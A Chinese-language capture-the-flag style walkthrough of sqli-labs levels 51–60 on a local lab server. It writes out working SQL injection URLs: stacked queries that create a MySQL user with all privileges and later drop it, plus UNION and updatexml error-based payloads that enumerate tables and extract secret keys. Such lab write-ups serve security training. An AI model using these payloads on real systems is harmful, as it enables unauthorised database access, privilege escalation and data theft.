sqli-labs通关(less51~less60)

目录

Less51

Less52

Less53

Less54

Less55

Less56

Less57

Less58

Less59

Less60


Less51

浏览器地址栏输入如下url,返回sql语法错误,从报错可知闭合是单引号

http://192.168.101.16/sqli-labs-master/Less-51/?sort=1'

这关就堆叠注入而言,除了闭合,其他应该和上一关没多大区别。

这关再来点新花样,用堆叠注入创建一个新用户。创建新用户之前,先在服务器上确认一下,现在只有下图这三个用户。

 然后在浏览器地址栏输入如下payload

http://192.168.101.16/sqli-labs-master/Less-51/?sort=1';CREATE USER 'xiannv'@'localhost';GRANT ALL PRIVILEGES ON *.* TO 'xiannv'@'localhost';-- s

然后再到服务器上确认一下,发现新用户xiannv已经创建了,并且拥有除Grant Option之外的所有权限

这关源代码也不分析了,和Less50相比只是多了单引号闭合。

Less52

浏览器地址栏输入如下url,返回正确查询结果

http://192.168.101.16/sqli-labs-master/Less-52/?sort=1

浏览器地址栏输入如下url,不返回查询结果。

http://192.168.101.16/sqli-labs-master/Less-52/?sort=1'
http://192.168.101.16/sqli-labs-master/Less-52/?sort=1"

由此可知,本关没有闭合,是数字型。

上一关中用堆叠注入创建的数据库用户xiannv没有grant option权限,这关就用堆叠注入把这个权限授予她吧

浏览器地址栏输入payload:

http://192.168.101.16/sqli-labs-master/Less-52/?sort=1;GRANT grant option ON *.* TO 'xiannv'@'localhost'

再到服务器上瞅瞅,发现xiannv@localhost已经有grant option的权限了

在网上看到一篇说mysql用户权限管理的好文章,mark一下:Mysql 用户权限管理 - keme - 博客园 (cnblogs.com) 

Less53

浏览器地址栏输入下面两个url有正确的sql查询结果

http://192.168.101.16/sqli-labs-master/Less-53/?sort=1
http://192.168.101.16/sqli-labs-master/Less-53/?sort=1"

输入下面的url不返回查询结果,可以判断闭合包含单引号

http://192.168.101.16/sqli-labs-master/Less-53/?sort=1'

输入下面的url,有正确的sql查询结果,可以判断闭合是单引号

http://192.168.101.16/sqli-labs-master/Less-53/?sort=1'-- s

接下来用堆叠注入把Less51创建的数据库用户xiannv删掉吧

浏览器地址栏输入如下payload:

http://192.168.101.16/sqli-labs-master/Less-53/?sort=1';DROP USER 'xiannv'@'localhost';-- s

再到服务器上一看,用户'xiannv'@'localhost'果然没有了

Less54

从这关开始就全是challenge了,就是要在规定步数之类完成特定任务。

比如本关要在10步之内找到CHALLENGES数据库中的secret key并提交

第1步:看看正常情况。浏览器地址栏输入:

​​​​​​http://192.168.101.16/sqli-labs-master/Less-54/?id=1

回显正确的查询结果。

 第2步:看看闭合含不含单引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-54/?id=1'

不回显查询结果,说明闭合包含单引号,或者没有闭合(数字型)。

 第3步:确认闭合符号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-54/?id=1'-- s

回显正确的查询结果,说明闭合是单引号。

第4步:猜列数。其实根据之前的关卡已经可以知道这边查询结果是3列了,不过既然这关给的步数限制比较多,那就稍微正经一点,挥霍一下吧。

浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-54/?id=1' order by 3-- s

回显正确的查询结果。

第5步:继续猜列数。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-54/?id=1' order by 4-- s

不回显查询结果,结合上一步,可知查询结果有3列。

第6步:union注入爆表名和列名。

由于题目已经说明了数据库名是CHALLENGES了,所以这里就不用爆库名了。为了节省步数(其实这一关好像还没啥必要),我决定表名和列名在同一个语句中一起爆。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s

回显的查询结果爆出了表名:m1pzj77a67,列名:id,sessid,secret_TQQ8和tryy

第7步:拿secret key。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-54/?id=-1' union select 1,2,secret_TQQ8 from CHALLENGES.m1pzj77a67-- s

回显的查询结果包含secret key:X4nsyosN33eZXTou83SDCjSU

将其填到提交secret key的提交框并submit即可过关。

Less55

这关的要求是在14步之内找到CHALLENGES数据库中的secret key并提交,限制步数比上一关多,看来可能比上一关难点。

第1步:看看正常情况。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1

回显正确的查询结果。

第2步:看看闭合含不含单引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1'

不回显查询结果,说明闭合可能包含单引号,或者没有闭合(数字型)。

第3步:看看闭合是否包含双引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1"

不回显查询结果,说明闭合可能包含双引号,或者没有闭合(数字型)。

第4步:结合上面两步的结果,是数字型的概率很大。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1-- s

不回显查询结果,说明还是需要闭合的。

第5步:先不着急乱猜,根据步骤2~3分析一下,如果需要闭合单引号或者双引号,应该url结尾加双引号或者单引号至少有一个能得到正确的查询结果才对,但现在两种情况都不返回查询结果,说明闭合不包含引号。那试试括号是不是闭合符吧,浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1)-- s

返回正确的查询结果了,本关闭合符号是括号。

第6步:猜列数。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1) order by 3-- s

返回正确查询结果

第7步:继续猜列数。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=1) order by 4-- s

不返回查询结果,结合上一步可知,查询结果有3列。

第8步:union注入同时爆表名和列名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=-1) union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s

得到表名:pmr9brqkfr,列名:id,sessid,secret_WXJO,tryy

第9步:得到secret key。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-55/?id=-1) union select 1,2,secret_WXJO from challenges.pmr9brqkfr-- s

得到secret key:C400uBggDWqhqL6JsKzwkQNC

Less56

本关要求依旧是在14步之内找到CHALLENGES数据库中的secret key并提交。

第1步:看看正常查询结果。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=1

回显正确的查询结果。

第2步:看看闭合是否包含单引号。 浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=1'

不返回查询结果,说明闭合可能包含单引号,也可能没有闭合(数字型)

第3步: 看看闭合是否包含双引号。 浏览器地址栏输入:

​​​​​​http://192.168.101.16/sqli-labs-master/Less-56/?id=1"

返回了正确的查询结果,说明闭合不包含双引号。并且结合上一步可以确认,闭合包含单引号。

第4步:看看闭合是否是单引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=1'-- s

不返回查询结果,说明闭合除了单引号,还包含其他符号。

第5步:看看闭合是否是')。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=1')-- s

返回了正确的查询结果,说明闭合是')

第6步:猜列数。 浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=1') order by  3-- s

返回了正确的查询结果,说明列数大于等于3

第7步:继续猜列数。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=1') order by  4-- s

不返回查询结果,结合上一步,说明查询结果有3列。

第8步:union注入同时爆表名和列名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=-1') union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s

得到表名:ey1ib6h4jw,列名:id,sessid,secret_UMWT,tryy

第9步:得到secret key。 浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-56/?id=-1') union select 1,2,secret_UMWT from challenges.ey1ib6h4jw-- s

得到secret key:UAeT2GPChCGCMdvzkhBtY3mK

Less57

本关要求依旧是在14步之内找到CHALLENGES数据库中的secret key并提交。

步骤1:看看正常情况。浏览器地址栏输入:

​​​​​​http://192.168.101.16/sqli-labs-master/Less-57/?id=1

返回正确查询结果。

步骤2:看看闭合是否包含单引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=1'

返回正确查询结果,说明闭合不包含单引号。

步骤3:看看闭合是否包含双引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=1"

不返回查询结果,说明闭合包含双引号。

步骤4:确认闭合是否是双引号。 浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=1"-- s

返回正确查询结果,说明闭合就是双引号。

步骤5:猜列数。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=1" order by 3-- s

返回正确查询结果,说明列数大于等于3

步骤6:继续猜列数。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=1" order by 4-- s

不返回查询结果,说明查询结果有3列。

步骤7:union注入同时爆表名和列名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=-1" union select 1,2,group_concat(concat(table_name,'~',column_name)) from information_schema.columns where table_schema='challenges'-- s

得到表名:ab50y8469w,列名:id,sessid,secret_OOXZ,tryy

步骤8:得到secret key。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-57/?id=-1" union select 1,2,secret_OOXZ from challenges.ab50y8469w-- s

得到secret key:7zMYlzIFli6W7XvNm4v3TUBq

Less58

本关要求在5步之内找到CHALLENGES数据库中的secret key并提交。

步骤1:看看正常情况。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-58/?id=1

有红框所示的返回结果(这里的结果不是数据库查询结果,是服务端代码玩的一个小花样,所以本关就算没有步数限制也不能用union注入)。

步骤2:看看闭合是否包含单引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-58/?id=1'

发现有报错,报错表名本关的闭合就是单引号。考虑到报错注入比union注入所需步骤少,所以本关用报错注入。

步骤3:用报错注入获取表名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s

得到表名:6y21vkvbfl

步骤4:得到列名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='6y21vkvbfl'),1,31),0x7e),1)-- s

得到列名:id,sessid,secret_33BN,tryy

(忘记截图了,重来的话,表名和列名都要变了,假装这边有个图吧……)

步骤5:得到secret key。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,substr((select secret_33BN from challenges.6y21vkvbfl),1,31),0x7e),1)-- s

得到secret key:h9SJet6HycYVr3dG0418HiKT

Less59

本关要求也是在5步之内找到CHALLENGES数据库中的secret key并提交。

步骤1:先看看正常情况。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-59/?id=1

有红框所示的返回结果

步骤2:看看闭合是否包含单引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-59/?id=1'

得到报错信息,通过报错信息可知,本关是数字型,无闭合符号。

步骤3:用报错注入获取表名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-59/?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s

得到表名:kd33qrjwiw

步骤4:用报错注入获取列名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-59/?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kd33qrjwiw'),1,31),0x7e),1)-- s

得到列名:id,sessid,secret_ZCP4,tryy

步骤5:用报错注入获取secret key。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-59/?id=1 and updatexml(1,concat(0x7e,substr((select secret_ZCP4 from challenges.kd33qrjwiw),1,31),0x7e),1)-- s

得到secret key:YQmYxQmYvwIqIWyCJSEma819

Less60

本关要求也是在5步之内找到CHALLENGES数据库中的secret key并提交。

步骤1:先看看正常情况。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-60/?id=1

有红框所示的返回结果

步骤2:看看闭合是否包含双引号。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-60/?id=1"

返回报错信息,通过报错信息可知,本关闭合符号是")

步骤3: 用报错注入获取表名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,31),0x7e),1)-- s

得到表名:pilov0q6gw

步骤4:用报错注入获取列名。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='pilov0q6gw'),1,31),0x7e),1)-- s

得到列名:id,sessid,secret_SKRP,tryy

步骤5:用报错注入获取secret key。浏览器地址栏输入:

http://192.168.101.16/sqli-labs-master/Less-60/?id=1") and updatexml(1,concat(0x7e,substr((select secret_SKRP from challenges.pilov0q6gw),1,31),0x7e),1)-- s

得到secret key:Q75wD9fVwvK1mql1UjQhLwSj

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值